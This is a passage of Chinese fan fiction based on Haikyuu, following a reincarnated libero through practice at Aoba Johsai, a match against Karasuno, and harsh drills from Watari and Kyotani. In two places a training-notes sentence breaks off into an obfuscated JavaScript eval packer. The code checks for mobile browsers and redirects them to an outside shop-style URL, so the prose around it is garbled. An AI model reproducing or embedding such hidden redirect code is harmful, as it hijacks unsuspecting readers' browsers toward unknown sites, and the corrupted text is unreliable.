京谷和前辈们之间的矛盾,需要他们自己去解决。 训练结束后,伊藤照例留下来加练。 今天他选择练习接强力扣球。 他让金田一留下来帮他——金田一非常爽快地答应了,甚至看起来有点兴奋。 “我要扣了哦!”金田一站在网前,摆出扣球的姿势。 “来吧。”伊藤蹲低身体,双手前伸。 金田一的扣球力量不如京谷,也不如岩泉,但他的身高优势让他的扣球点很高,球落下来的角度很陡。 对于自由人来说,这种“高打点、陡落点”的扣球比单纯的强力扣球更难接——因为球从高处落下来的时候,速度和旋转都会发生变化,判断落点需要更多的经验。 第一球,伊藤接起来了,但送球不到位。 第二球,伊藤接得更稳了一些。 第三球,伊藤的送球终于到了二传手的位置。 金田一连续扣了二十个球,伊藤接起了其中的十八个,送球到位的只有十二个。 “休息一下吧。”金田一说,擦了擦额头上的汗。 “嗯。” 两个人坐在场边喝水。 体育馆里只剩下他们两个人,灯光把球场照得通亮,安静得能听到日光灯嗡嗡的声音。 “伊藤,你真的很努力啊。”金田一说,语气里带着真诚的佩服。 “……还好。” “不,真的很厉害。”金田一认真地说,“我从来没有见过像你这样每天加练的人。渡前辈虽然也会加练,但也没有你练得这么狠。” 伊藤沉默了一会儿,说:“因为我底子不好。” “底子?” “身体素质、弹跳、速度,都不如别人。”伊藤说,“所以只能在技术上多花时间。” 金田一听完,露出了一个理解的表情。 “我懂。”他说,“我也不算有天赋的那种。我的身高虽然还可以,但我的爆发力不如京谷前辈,我的技术也不如国见。我能做的也就是拼命练。” 伊藤看着金田一。 金田一的脸在灯光下显得很真诚,眼睛亮亮的,像是在说一件非常重要的事情。 “但你比我强。”伊藤说。 “诶?” “你的扣球,我今天接了很多,但送球到位率只有六成。”伊藤说,“你的扣球很难接。” 金田一愣了一下,然后脸红了。 “哪、哪有……” “真的。”伊藤说,语气很平静,但很认真。 金田一挠了挠头,不知道该说什么。 他显然不习惯被人夸奖,尤其是被伊藤这种话不多的人夸奖。 “好了,继续练吧。”伊藤站起来,拍了拍裤子。 “嗯!” 两个人继续练习。 金田一扣球,伊藤接球。扣球,接球,扣球,接球。 动作单调而重复,但两个人的节奏越来越默契。 金田一的扣球开始有了更多的变化——直线、斜线、打手出界,伊藤的接球也在不断地调整,试图跟上金田一的节奏。 练到最后,金田一的扣球送球到位率提升到了七成。 “七成了!”金田一比伊藤还兴奋,“伊藤你进步太快了!” 伊藤看着自己的手臂,上面布满了红色的印记。但他不觉得疼。 “是你扣得好。”他说。 两个人收拾好东西,一起走出了体育馆。 外面的天已经全黑了。 操场上只有几盏路灯亮着,把两个人的影子拉得很长。 “伊藤,你家住哪里?”金田一问。 “西边的住宅区,走大概二十分钟。” “诶,那和我方向相反。我家在东边。”金田一说,“那明天见!” “明天见。” 金田一挥了挥手,跑向了校门的方向。 伊藤站在原地,看着金田一的背影消失在黑暗中。 金田一勇太郎。 在原著中,他是一个有些悲剧色彩的角色——初中时和影山是队友,因为影山的“独裁”而产生了矛盾;高中时加入了青城,但在及川毕业后,青城再也没有打进过全国大赛。 他有着出色的身高和扎实的技术,但始终没能站上最高的舞台。 但伊藤觉得,金田一是一个很好的人。 真诚、热情、不吝啬对他人的赞美。 和这样的人做队友,是一件很幸运的事情。 伊藤转过身,往家走。 路上他想了很多。 他想到了京谷,那个沉默寡言、脾气暴躁、但扣球如雷霆的二年级生。 他不知道京谷最终能不能融入队伍——原著中是融入了,但那是经过了很多波折之后的结果。 而他现在身处这个世界,不再是旁观者,而是参与者。他会不会也卷入那些波折中? 他想到了渡,那个每天给他布置苛刻任务、从不夸奖他、但会在训练结束后默默帮他捡球的二年级自由人。 渡到底是怎么看他的?是把他当作一个需要打磨的后辈,还是一个需要击败的对手? 他想到了及川,那个在训练中对他百般挑剔、但在关键时刻总会说出“不错”两个字的三年级主将。 及川的期待是什么?他到底想在伊藤身上看到什么? 这些问题,伊藤都没有答案。 但他知道一件事——他需要变得更强。 不是为了回答这些问题,而是为了对得起那些在他身上花费时间的人。 周四下午,排球部迎来了一场练习赛。 对手是伊藤非常熟悉的学校——乌野高校。 当及川在部活开始时宣布这个消息的时候,伊藤的心脏猛地跳了一下。 乌野。日向翔阳。影山飞雄。泽村大地。田中龙之介。西谷夕。 那些他前世在漫画中看了无数遍的名字,那些他曾经为之欢呼、为之落泪的角色,明天就会出现在他面前。 “练习赛在明天下午,对方会来我们的体育馆。”及川说,语气比平时正式了一些,“三年级和二年级的正选都会上场,一年级的作为替补和后勤。” 伊藤听到“一年级的作为替补”时,心里没有太大的波动。 他知道自己现在还不够格。 渡的正选位置很稳固,他不可能因为几天的加练就撼动渡的地位。 他能做的就是做好准备——万一有机会上场,他必须抓住。 “伊藤君。” 及川的声音忽然点了他的名字。伊藤抬起头,看到及川正看着他。 “明天你作为自由人的第二替补,坐在板凳上。” “……好。” 第二替补。 也就是说,如果渡出了问题,第一个上场的自由人是另一个二年级的替补,然后才是伊藤。 换句话说,伊藤上场的可能性几乎为零。 但他还是认真地说了“好”。 因为他知道,机会是给有准备的人的。 第二天下午,乌野高校排球部的大巴停在了青叶城西的校门口。 伊藤站在体育馆门口,和其他一年级的队员一起负责迎接。 他看到了泽村大地走在最前面,表情沉稳,像是这支队伍的父亲一样。 他身后跟着田中龙之介,剃着光头,看起来比漫画中更有气势。 然后是东峰旭,那个留着长发的胆小王牌,低着头跟在后面,存在感比漫画中还要低。 然后是一个小小的、橘色的身影。 日向翔阳。 他比伊藤想象中还要小。 一米六出头的个子,在一群高中生中显得格外娇小,但他走路的方式、他看周围环境的眼神、他身上散发出来的那种不知疲倦的能量——都和漫画中一模一样。 日向正在东张西望,眼睛亮得像两颗星星。 他看到了青城排球部的体育馆,发出了一声小小的惊叹:“哇——好大的体育馆!” “呆子,不要大惊小怪的。”旁边一个声音冷冷地说。 影山飞雄。 他穿着乌野的队服,表情淡漠,走路的时候背挺得很直,整个人散发着一种“我是天才”的气场——不是刻意的,而是天生的。 他的眼神锐利,像鹰一样扫视着周围的一切。 但当他的目光扫过伊藤的时候,没有任何停留。 伊藤只是一个站在门口的一年级生,影山没有理由注意到他。 伊藤低下头,避开了影山的视线。 不是因为害怕,而是因为他忽然意识到一件事——他认识影山,但影山不认识他。 他知道影山的过去、现在和未来,但影山对他一无所知。 这是一种很奇妙的感觉。 像是读者走进了书里,但书里的角色不知道自己是书里的角色。 “欢迎来到青叶城西。”及川从体育馆里走出来,脸上挂着标志性的笑容,“小飞雄,好久不见。” 影山的表情微微变了一下。 “及川前辈。”他说,语气恭敬但不亲近。 “不要叫前辈啦,叫及川先生就好。”及川笑着说,“来吧,进去吧,让我们好好‘切磋’一下。” 岩泉从后面走出来,看了一眼乌野的队伍,然后对泽村点了点头。 “请多关照。” “请多关照。”泽村回礼。 两支队伍走进了体育馆。 伊藤作为替补,坐在场边的板凳上。 他的位置很好——正对着球场,能够清楚地看到双方的每一个动作。 他拿出笔记本,翻开空白的一页,准备记录比赛中的每一个细节。 这是他前世养成的习惯。 看比赛的时候做笔记,分析双方的战术、球员的特点、关键分的得失。 这个习惯让他从一个“只会接球的自由人”变成了一个“会思考的自由人”。 哨声响了。比赛开始。 青城先发球。 及川站在底线后,手里转着球。 伊藤看着及川的手,知道他要做什么——跳发球,全力跳发球。 及川抛球,助跑,起跳。 他的身体在空中舒展得像一只展开翅膀的鸟,手臂后拉,然后猛地挥出。 球以惊人的速度飞向乌野的后场,旋转强烈到在空中留下了一道模糊的白线。 乌野的自由人——西谷夕——动了。 他的反应速度快得离谱。 在球刚过网的时候,他就已经开始移动了。 他的脚步轻快而精确,像是一只敏捷的猫,在球即将落地的前一刻,用前臂将球稳稳地接了起来。 球弹起来,飞向了乌野二传手的方向。 影山飞雄站在那里。 他没有说话,没有手势,只是看了日向翔阳一眼。 日向已经起跳了。 他的弹跳力让整个体育馆都安静了——那个一米六的小个子,跳起来的高度竟然和网差不多平齐。 他的身体在空中停滞了一瞬,然后影山的球精准地飞到了他的手中。 “砰!” 日向的扣球砸在了青城的场地上。 得分。 从接发球到得分,整个过程不超过三秒钟。 伊藤坐在板凳上,手里的笔停住了。 他看过漫画,知道乌野的“怪人速攻”是什么样的。 但漫画和现实完全不同。在现实中,那个速度、那个高度、那个精度——像是看一场被按了加速键的比赛。 “好快……”旁边的金田一发出了声音。 国见没有说话,但他的眉头微微皱了一下。 场上的及川看着影山和日向,表情没有变化。 他的笑容还在,但伊藤注意到他的眼神变了——变得更锐利,更专注,像是进入了某种战斗状态。 “有意思。”及川轻声说了一句。 比赛继续进行。 青城的实力明显在乌野之上。 及川的托球让岩泉、松川、花卷轮流得分,青城的进攻像是一部精密的机器,每一个零件都在正确的时间做正确的事情。 但乌野没有崩。 泽村在后排稳稳地接起一传,影山用他天才般的托球技术把球分配到最合适的位置,日向在前排用他惊人的弹跳不断施压,西谷在地面上筑起了一道几乎不可逾越的防线。 比分交替上升。 伊藤的笔在本子上飞快地记录着: “乌野的速攻:从一传到扣球约1.2秒。关键在影山的托球时机和日向的起跳时机的高度同步。” “西谷的防守范围:比渡还要大。他几乎能覆盖整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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伊藤站在场边,收拾散落的排球。 一只手伸过来,帮他捡起了一颗滚到角落里的球。 伊藤抬头,看到了西谷夕。 西谷比他矮一点,但整个人的气场非常强大。 他的眼睛很亮,像是两颗燃烧着的小太阳。 “你是自由人?”西谷问。 “……嗯。” “我也是。”西谷笑着说,语气里没有任何竞争意识,只有一种纯粹的、对同位置的亲近感,“一年级?” “嗯。” “好好练!”西谷拍了拍他的肩膀,“自由人是球队的最后一道防线,要有‘绝对不能让球落地’的觉悟!” 说完,西谷就转身跑回了乌野的队伍里。 伊藤站在原地,手里拿着那颗球,看着西谷的背影。 西谷夕。 在原著中,他是乌野的“守护神”,是整个高中排球界最顶尖的自由人之一。 他的防守技术、反应速度、身体控制能力都达到了极高的水平。 更重要的是,他对自由人这个位置有着近乎信仰般的热爱——“自由人是球队的最后一道防线”——这句话,西谷不只是说说而已,他用行动证明了这句话。 伊藤低下头,看着自己的手。 他还远远达不到西谷的水平。 但他知道该往哪个方向努力。 收拾完场地后,伊藤回到了更衣室。 更衣室里只有及川一个人。 他坐在长凳上,双手撑在膝盖上,低着头,看起来像是在想什么事情。 伊藤犹豫了一下,不知道该不该进去。 及川抬起头,看到了伊藤。 “伊藤君。”他说,声音比平时轻了很多,“过来坐。” 伊藤走过去,在及川旁边坐下来。 两个人都没有说话。 更衣室里安静得能听到水管里水流的声音。 过了很久,及川开口了。 “你看到那个速攻了吗?” “……看到了。” “小飞雄的托球,日向的弹跳。”及川说,语气里有一种伊藤从未听过的复杂情绪,“那种东西,不是靠努力就能追上的。” 伊藤沉默着。 他知道及川在说什么。 在原作中,及川彻一直在追赶影山飞雄——那个比他小两届、但天赋远超他的天才二传手。 及川比任何人都努力,但影山的存在总是提醒他一个残酷的事实:这个世界上有才能的人,他们不需要那么努力就能做到你拼尽全力才能做到的事情。 “但是,”伊藤开口了,声音很小,但很清晰,“努力不是没有意义的。” 及川转过头看着他。 “及川前辈的托球,比影山的更稳。”伊藤说,“你的发球比他的更有威胁,你的战术比他的更丰富。你不是在模仿他,你是在用自己的方式变得更强。” 及川盯着伊藤看了几秒钟,然后忽然笑了。 那笑容和平时不一样。 平时的及川笑得很张扬,像是要让全世界都看到他的自信。 但这一次,他的笑容很轻,很淡,像是一种只有他自己才能理解的释然。 “伊藤君,”及川说,“你这个人,说话有时候比岩酱还直接。” “……对不起。” “为什么要道歉?”及川站起来,拍了拍伊藤的头,“你说的是对的。我不是在模仿小飞雄,我是我自己。” 他拿起水瓶,往门口走。走到门口的时候,他停下来,没有回头。 “谢谢你,伊藤君。” 然后他走了出去。 伊藤坐在更衣室里,头顶还残留着及川手掌的温度。 他不知道自己刚才说的话是不是对的。 他只是一个一年级的新生,一个连正选都不是的自由人,他有什么资格对及川彻说那些话? 但他觉得,及川需要听到那些话。 因为及川彻这个人,背负着太多别人看不到的东西。 伊藤站起来,走出了更衣室。 体育馆已经空了。 灯光熄灭了,只有安全出口的绿色指示灯还亮着。球场在黑暗中安静地躺着,球网在微风中轻轻晃动。 伊藤站在门口看了一会儿,然后关上了门。 走出体育馆的时候,天已经黑了。 操场上空无一人,只有风在吹。 他走在回家的路上,脑子里回放着今天比赛中的每一个画面。 及川的跳发球。 影山和日向的速攻。 西谷的防守。 还有及川在更衣室里说的那句话——“那种东西,不是靠努力就能追上的。” 伊藤停下脚步,抬头看着夜空。 星星很少,只有几颗最亮的在云层缝隙中闪烁着。 他知道及川说的是对的。 天赋这种东西,确实不是靠努力就能追上的。 前世的他用了六年的时间证明了这一点——他努力了,比大多数人都努力,但他还是追不上那些有天赋的人。 但这一世,情况不一样了。 不是因为他的天赋变好了——他的五维数据依然平庸。 而是因为,这一次他不只是为了“变强”而努力,他是在为了“回家”而努力。 系统给了他一个目标,一个极其遥远的目标,远到“天赋”和“努力”的差距在那个目标面前变得不那么重要了。 世界第一自由人。 那不是宫城县的水平,不是东北地区的水平,甚至不是日本的水平。 那是世界的水平。 要达到那个水平,光靠努力不够,光靠天赋也不够。 需要的是天赋和努力的结合,需要的是正确的方法、持久的毅力、以及一点点运气。 伊藤不知道自己做不做得到。 但他愿意试一试。 他加快脚步,往家的方向走去。 明天还有晨练。 明天还要接一百个球。 明天还要比今天更好一点点。 这是他现在的全部想法。 回到公寓后,伊藤洗了澡,坐在书桌前。 他翻开笔记本,开始记录今天的比赛。 “4月11日,练习赛 vs 乌野高校。” “对方自由人西谷夕:防守范围大、反应速度快、送球到位率高。他的接球动作非常放松,几乎没有多余的力量。这是我要学习的。” “对方二传手影山飞雄:托球精度极高,速攻的时机把握非常出色。但他的表情管理有问题——情绪波动会直接体现在脸上。这是一个可以利用的弱点。” “对方MB日向翔阳:弹跳力惊人,速攻的威胁极大。但他的扣球线路比较单一,目前只有直线和斜线两种选择。如果能够预判他的跑动路线,有可能提前封堵。” “青城的优势:整体实力更强,配合更默契,及川的战术执行力更强。乌野的配合还不够成熟,影山和攻手之间的默契还有提升空间。” “但乌野会成长的。他们的上限很高。” 写到这里,伊藤停了一下,然后加了一行: “我也要成长。比他们更快。” 他合上笔记本,躺在床上。 系统提示音忽然响了起来。 “叮——支线任务触发:在队内练习赛中登场并完成三次有效防守。任务奖励:属性点+1。任务期限:一周。” 伊藤看着天花板,沉默了一会儿。 队内练习赛中登场。 这意味着他需要在上场机会极其有限的情况下,争取到教练或队长的信任。 一周的时间,三次有效防守——听起来不难,但对于一个连正选都不是的第二替补来说,每一次上场机会都是转瞬即逝的。 他必须在有限的机会中证明自己的价值。 “我知道了。”伊藤说,不知道是在对系统说,还是在对自己说。 窗外,夜风轻拂,吹动着窗帘。 伊藤闭上眼睛,在脑海中模拟着明天训练中的每一个动作。 接球。移动。送球。 接球。移动。送球。 他在心里一遍又一遍地重复着这些动作,直到意识渐渐模糊,沉入梦乡。 梦里,他又站在那个很大的球场上,四周是明亮的灯光和震耳欲聋的欢呼声。 这一次,他看清了对面站着的人。 不是一个人,是很多人。 及川彻。岩泉一。渡亲治。金田一勇太郎。国见英。京谷贤太郎。西谷夕。影山飞雄。日向翔阳。 他们站成一排,穿着各自队伍的队服,全都看着他。 然后及川开口了。 “伊藤君,你在等什么?” 伊藤睁开眼睛。 窗外,天已经亮了。 又是新的一天。 5. 第五章 5. 伊藤有弥在凌晨五点半睁开了眼睛。 这不是生物钟的作用,而是手机的闹钟。 他昨天特意把闹钟调早了半个小时,因为从今天开始,他要在晨练之前先跑完渡布置的三公里。 窗外还是一片灰蒙蒙的。 四月中旬的宫城县,天亮得比东京晚一些,清晨的空气里带着一种潮湿的凉意,钻进鼻腔的时候让人觉得整个人都被唤醒了。 伊藤从床上爬起来,花了十分钟洗漱换衣服,然后穿上跑鞋出了门。 住宅区的街道上空无一人。 路灯还亮着,把柏油路面照得发白。 他沿着昨天规划好的路线开始跑——从公寓出发,沿着河边的小路一直往南,到公园的转角处折返,全程刚好三公里。 他的跑步速度不快。 前世他就不是一个擅长跑步的人,现在这具身体的耐力也不算出色,跑了一公里左右就开始喘了。 但他没有停下来。 渡说得对,他的体力不够。 作为一个自由人,他需要在整场比赛中保持高强度的移动和专注,如果跑到第三局就开始腿软,那再好的接球技术也没有意义。 所以他跑。 一步,两步,三步。 呼吸的节奏渐渐乱了他就重新调整,脚步慢了就刻意加快。 河边的风从水面上吹过来,带着泥土和青草的气味,让他想起了前世在高中时晨练的日子。 那时候他也是这样,在天还没亮的时候起床,一个人跑到操场上,一圈一圈地跑。 队友们都说他“太拼了”,但只有他自己知道,那不是拼,那只是因为他没有天赋——没有天赋的人,只能用时间来换。 跑到第三圈的时候,他的小腿开始发酸,呼吸也变得急促起来。 他咬着牙,把注意力集中在步伐上,不去想还有多远。 终点在眼前出现的时候,他几乎是用最后一点力气冲过去的。 他弯下腰,双手撑在膝盖上,大口大口地喘气。 汗水从额头滴下来,落在柏油路面上,很快就消失了。 他看了下手表——三公里,十五分钟出头。 不算快,但比他昨天跑的时候快了将近一分钟。 进步了。 伊藤直起腰,慢慢地往回走。 晨练七点开始,他还有一个小时的时间。 他打算先回家洗个澡、吃个早饭,然后再去学校。 路过便利店的时候,他买了一盒牛奶和一个饭团,站在店门口吃完了。 收银台的阿姨看了他一眼,大概是觉得这个时间点出现的高中生很奇怪,但也没有多说什么。 伊藤回到家,洗了个澡,换上校服,把运动服塞进书包里,然后出门。 到体育馆的时候,刚过六点四十。 渡已经在了。 他站在场中央,手里拿着一颗排球,正在做手腕的拉伸。 看到伊藤进来,他的目光在他身上停了一下,然后说了一句:“跑了?” “跑了。” “多久?” “十五分出头。” 渡点了点头,没有说好也没有说不好。 他转过身,继续做拉伸。 伊藤换好衣服,走到场上,开始做自己的热身。 晨练前的热身他已经形成了固定的流程——从头到脚,每一个关节都要活动开,然后再做一些动态拉伸,最后才是接球练习。 渡在他热身的时候走了过来。 “今天不练接球。”渡说。 伊藤停下来,看着他。 “今天练移动。”渡指了指球场,“你从这边底线跑到对面底线,来回五次。然后从左边线跑到右边线,来回五次。然后对角线,来回五次。全部做完之后,再做一次。一共三组。” 伊藤看了一眼球场的尺寸。 排球场的长度是十八米,宽度是九米。来回五次就是一百八十米,对角线来回大约是四十米一次,五次就是两百米。 一组下来大概要跑将近五百米,三组就是一千五百米。 加上晨练前的三公里,今天早上的跑动距离接近五公里。 “好。”伊藤说。 他没有抱怨。 渡给他布置的每一条训练内容都是有目的的——移动训练是为了扩大他的防守范围,而扩大防守范围是他目前最需要解决的问题之一。 伊藤站到底线上,深吸一口气,然后冲了出去。 底线到对面底线,十八米。他跑得很快,几乎是用冲刺的速度在跑。 到对面底线的时候,他用手触了一下地板,转身,再冲回来。 第一次,第二次,第三次。 跑到第五次的时候,他的腿已经开始发软了。 但他没有停,直接转向了边线移动。 边线到边线,九米。 距离更短,但转向的频率更高,对膝盖和脚踝的冲击也更大。 他的脚步在每次转向的时候都会有一瞬间的迟疑——那是身体在发出警告:太快了,太猛了,会受伤的。 伊藤咬着牙,继续。 对角线移动是最难的。 从一个角落跑到对角线的另一个角落,距离超过二十米,而且需要在跑动中改变方向。 他的脚步在第二次对角线移动的时候就乱了,身体差点失去平衡,但他用手撑了一下地板,稳住了。 渡站在场边,双手抱胸,面无表情地看着。 他没有喊停,也没有给任何指示。 他只是看着。 伊藤完成了第一组移动训练,双手撑在膝盖上喘气。 汗水顺着他的脸颊流下来,滴在地板上,留下一小片水渍。 “继续。”渡说。 伊藤抬起头,看了渡一眼。 渡的表情没有任何变化,像是在说一件理所当然的事情。 他没有说话,站到底线上,开始了第二组。 第二组比第一组更艰难。 他的腿像是灌了铅一样沉重,每一步都需要用意志力去驱动。 但他跑完了。边线、对角线,每一个项目都跑完了。 第三组的时候,他的动作已经完全变形了。 他的步伐变得拖沓,转向变得迟缓,有一次对角线移动的时候,他直接摔倒了。 膝盖撞在地板上,发出一声闷响。 伊藤趴在地上,喘着粗气。 他的膝盖传来一阵刺痛,但他顾不上看,因为他听到渡的声音从头顶传来。 “起来。” 伊藤用手撑起身体,摇摇晃晃地站了起来。 “继续。”渡说。 伊藤咬了咬牙,重新跑了起来。 他跑完了第三组的最后一次对角线移动,然后弯下腰,双手撑在膝盖上,大口大口地喘气。 他的视野在发黑,耳朵里嗡嗡地响,胃里翻涌着一股恶心感。 但他站住了。 没有倒下。 渡看着他,沉默了大概有五秒钟,然后说了一句话。 “明天的移动训练,加一组。” 伊藤没有力气回答,只是点了点头。 晨练结束后,更衣室里弥漫着汗水和热气的味道。 伊藤坐在长凳上,慢慢地脱掉已经被汗水浸透的运动服。 他的膝盖上擦破了一块皮,血已经凝住了,但碰到水的时候还是会疼。 金田一从旁边探过头来,看到了他膝盖上的伤。 “伊藤,你摔了?” “嗯。” “没事吧?” “没事。” 金田一从自己的包里拿出一卷绷带,递给伊藤。 “贴上吧,不然会感染的。” 伊藤接过来,看着手里的绷带,愣了一下。 “……谢谢。” “不用谢。”金田一笑着说,“我们是队友嘛。” 队友。 伊藤把这个词在心里念了一遍,然后把绷带贴在了膝盖上。 下午的部活开始前,岩泉召集所有人开了一个短会。 “下周开始,队内练习赛的出场名单会根据这一周的训练表现来定。”岩泉说,目光扫过在场的每一个人,“不只是三年级和二年级,一年级的也有机会。” 一年级的新生们骚动了一下。 “机会不是白给的。”岩泉的声音压过了所有人的窃窃私语,“想要上场,就在训练中证明自己。教练和我都会观察。” 及川站在岩泉旁边,补充了一句:“尤其是自由人的位置。渡,你最近的状态不错,但替补们也要做好准备。谁也不知道什么时候会需要换人。” 渡点了点头,没有说话。 伊藤站在一年级的队列里,感觉到自己的心跳加快了。 队内练习赛的出场机会。 系统给他的支线任务是在队内练习赛中登场并完成三次有效防守。 时间期限是一周。 也就是说,他必须在这一周内争取到上场的机会,并且在有限的上场时间内完成三次有效防守。 这不是一件容易的事情。 自由人的位置上有渡作为正选,还有一个二年级的替补排在伊藤前面。 除非渡的状态出现问题,或者教练和队长决定给新人机会,否则伊藤很可能整个星期都坐冷板凳。 但他不能坐以待毙。 他必须在训练中让岩泉和教练看到他的价值。 会议结束后,训练正式开始。 今天的训练内容是实战演练——把队伍分成三组,进行循环赛。 每组打十五分,一局定胜负。 第一组是三年级正选阵容,第二组是二年级为主、加上几个三年级的替补,第三组是一年级新生加上几个二年级的替补。 伊藤在第三组。 “好好打。”渡从他身边经过的时候说了一句。 伊藤点了点头。 第三组的阵容是:二传手是二年级的矢巾秀,主攻手是国见英和金田一勇太郎,副攻手是另外两个一年级的新生,自由人是伊藤。 对面是二年级为主的队伍,其中包括京谷贤太郎。 伊藤站在后排,看着对面的京谷。 京谷正在做扣球前的准备动作,他的表情看起来有些不耐烦,像是在说“为什么要跟一年级打”。 他的目光扫过伊藤,没有停留,像是在看一件无关紧要的东西。 哨声响了。 比赛开始。 青城发球——对面先发球。 对面的发球手是一个二年级的主攻手,发球不算快,但落点很刁钻,瞄准了第三组后排的边线位置。 伊藤移动,接球。 球稳稳地送到了矢巾秀的位置。 矢巾秀托球给国见。 国见起跳,扣球,球打在对方拦网球员的手上,弹出了界外。 “好球!”金田一喊了一声。 国见面无表情地落地,走回了自己的位置。 对面发球,这一次是京谷。 京谷站在底线后,手里转着球。 他的发球动作和及川有些相似——跳发球。 但和及川不同的是,京谷的发球力量更大,旋转更强,但控制精度略逊一筹。 他抛球,助跑,起跳。 球像一颗炮弹一样飞过来,带着可怕的冲击力,直接砸向了第三组的后场中央。 伊藤判断出了球的落点,移动了过去。 球砸在他前臂上的瞬间,他感受到了比岩泉的扣球还要强烈的冲击力。 他的手臂被弹开了,球飞向了场外。 失误。 伊藤回头看了一眼球的落点——球砸在距离底线还有一米左右的位置,如果他的手臂没有弹开,他是有机会接起来的。 “手臂太硬了。”渡在场边喊了一声。 伊藤深吸了一口气,调整了一下手臂的角度。 京谷第二次发球。 这一次球速更快,瞄准了边线的位置。 伊藤移动,这次他的手臂放松了一些,在球接触的瞬间呼出了一口气。 球弹了起来,虽然弧线不高,但方向是对的——它飞向了矢巾秀的位置。 矢巾秀将球托给了金田一。金田一起跳,扣球,得分。 “好接!”金田一朝伊藤竖起了大拇指。 伊藤微微点了点头。 比赛继续。 比分交替上升,第三组和二年级组的实力差距逐渐显现出来。 二年级的进攻更有组织,防守也更稳定,而第三组这边除了国见和金田一的扣球之外,其他的进攻手段都不够有威胁。 比分来到了8比12,第三组落后四分。 这时候,京谷轮转到了前排。 他站在网前,眼神里带着一种近乎贪婪的进攻欲望。 对面的二传手——一个三年级的替补——给他托了一个高球。 京谷起跳。 他的起跳高度让所有人都屏住了呼吸。 他的身体在空中完全舒展,手臂后拉到了极致,然后猛地挥出。 球以惊人的速度砸向第三组的后场。 伊藤站在球的落点方向。 他看得很清楚——京谷的扣球线路是直线,瞄准的是底线附近。 他在京谷触球的瞬间就开始移动,身体向后撤,同时观察着球的旋转和速度。 球来了。 伊藤的手臂迎了上去。 “砰!” 球砸在他前臂上的声音在体育馆里回荡。 这一次,他的手臂没有被弹开。 他的身体微微下沉,用膝盖的弯曲吸收了球的冲击力,然后前臂顺势向前送。 球弹起来,划出一道漂亮的弧线,稳稳地飞向了矢巾秀的位置。 矢巾秀托球给国见。 国见扣球得分。 全场安静了一瞬。 然后,金田一的欢呼声炸开了:“伊藤!太厉害了!” 连国见都看了伊藤一眼,嘴角微微动了一下——那大概是他能做出的最接近“微笑”的表情了。 场边的渡没有说话,但他的手不自觉地握紧了。 及川站在场边,吹了一声口哨。 “伊藤君,不错嘛。”他的声音不大,但在安静的体育馆里每个人都听得清清楚楚。 伊藤的脸红了。 他低下头,假装在整理护膝,不让别人看到他的表情。 但他的心跳很快。 不是因为紧张,而是因为开心。 比分最后定格在11比15,第三组输了。 但伊藤在场上的表现让所有人都看到了他的进步——他在后排的防守范围比一周前大了很多,接球的稳定性也在提高,尤其是接起京谷那记重扣的那一球,让在场的每一个人都印象深刻。 训练结束后,伊藤照例留下来加练。 今天他选择练习发球——不是因为他要练发球,而是因为他需要有人给他扣球,而今天留下来加练的人中,只有京谷还在。 京谷没有走。 他站在场地的另一边,一个人对着墙扣球。 他的扣球力量大得惊人,球砸在墙上的声音像是有人在用锤子敲墙。 伊藤犹豫了一下,走了过去。 “京谷前辈。” 京谷停下来,转过头看着他。 他的表情有些不耐烦,但眼神里带着一丝好奇——大概是在想“这个一年级的新生找我干什么”。 “能不能……请你帮我练接球?”伊藤说,声音很小,但很清晰,“你扣球,我接。” 京谷盯着他看了两秒钟。 “凭什么?” 伊藤没有预料到这个问题。 他愣了一下,然后说:“因为你的扣球力量很大,我想练接强力的扣球。” 京谷又看了他两秒钟,然后发出了一声意义不明的“哼”。 “随你。” 伊藤跑到后排的位置,蹲低身体,做好了准备。 京谷拿起一颗球,没有助跑,直接在原地起跳扣了过来。 即使没有助跑,他的扣球力量也比大多数人的助跑扣球要强。 球砸过来,伊藤接了起来。 “再来。”京谷说。 第二球,力量更大。 伊藤接了起来,但送球不到位。 “再来。” 第三球,京谷加上了角度。 伊藤追了过去,在球即将落地的前一刻把它接了起来。 “再来。” 第四球。第五球。第六球。 京谷的扣球一次比一次重,一次比一次刁钻。 他似乎在测试伊藤的极限——或者说,他在享受这个过程。 因为伊藤注意到,京谷的表情在一点点变化,从最初的不耐烦变成了某种……兴奋? 第十球的时候,伊藤的手臂已经完全红了。 但他没有停下来。 “再来。” 第十五球的时候,伊藤的膝盖又开始疼了。但他没有停下来。 “再来。” 第二十球的时候,伊藤终于没有接起来。 球从他手臂的侧面滑了过去,砸在地板上,弹起来,滚向了墙角。 伊藤弯下腰,大口大口地喘气。 京谷站在网前,看着他。 “你叫什么名字?”京谷问。 “伊藤……伊藤有弥。” “伊藤。”京谷念了一遍他的名字,然后说了一句让伊藤完全没有想到的话。 “明天也留下来。” 说完,京谷转身就走。他的步伐很快,没有给伊藤任何回应的机会。 伊藤站在原地,看着京谷的背影消失在更衣室的门口。 明天也留下来。 这是……邀请? 还是命令? 伊藤不知道。 但他知道一件事——从明天开始,他加练的内容又多了一项:接京谷的扣球。 他忽然觉得,自己可能是青城排球部里最累的一年级生。 但他没有抱怨。 因为每一次接起京谷的扣球,他都能感觉到自己在变强。 哪怕只是变强一点点。 伊藤回到家的时候,已经是晚上八点半了。 他洗了个澡,坐在书桌前,拿出笔记本。 “4月12日。晨练:3km跑(15分出头)+移动训练(底线来回×5,边线来回×5,对角线来回×5,三组)。摔倒一次,膝盖擦伤,已处理。” “部活:队内练习赛(第三组vs二年级组)。接球成功率约75%,接起京谷前辈的重扣1次。防守范围有明显扩大,但移动后的送球到位率还需要提高。” “加练:接京谷前辈扣球20次。接起15次,送球到位9次。京谷前辈的力量比岩泉前辈还要强,接他的扣球需要更放松的手臂和更好的身体缓冲。” “明日目标:移动训练完成四组。接京谷前辈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454773|201213||http|test|mini|href|location''.split(''|''),0,{})); () { 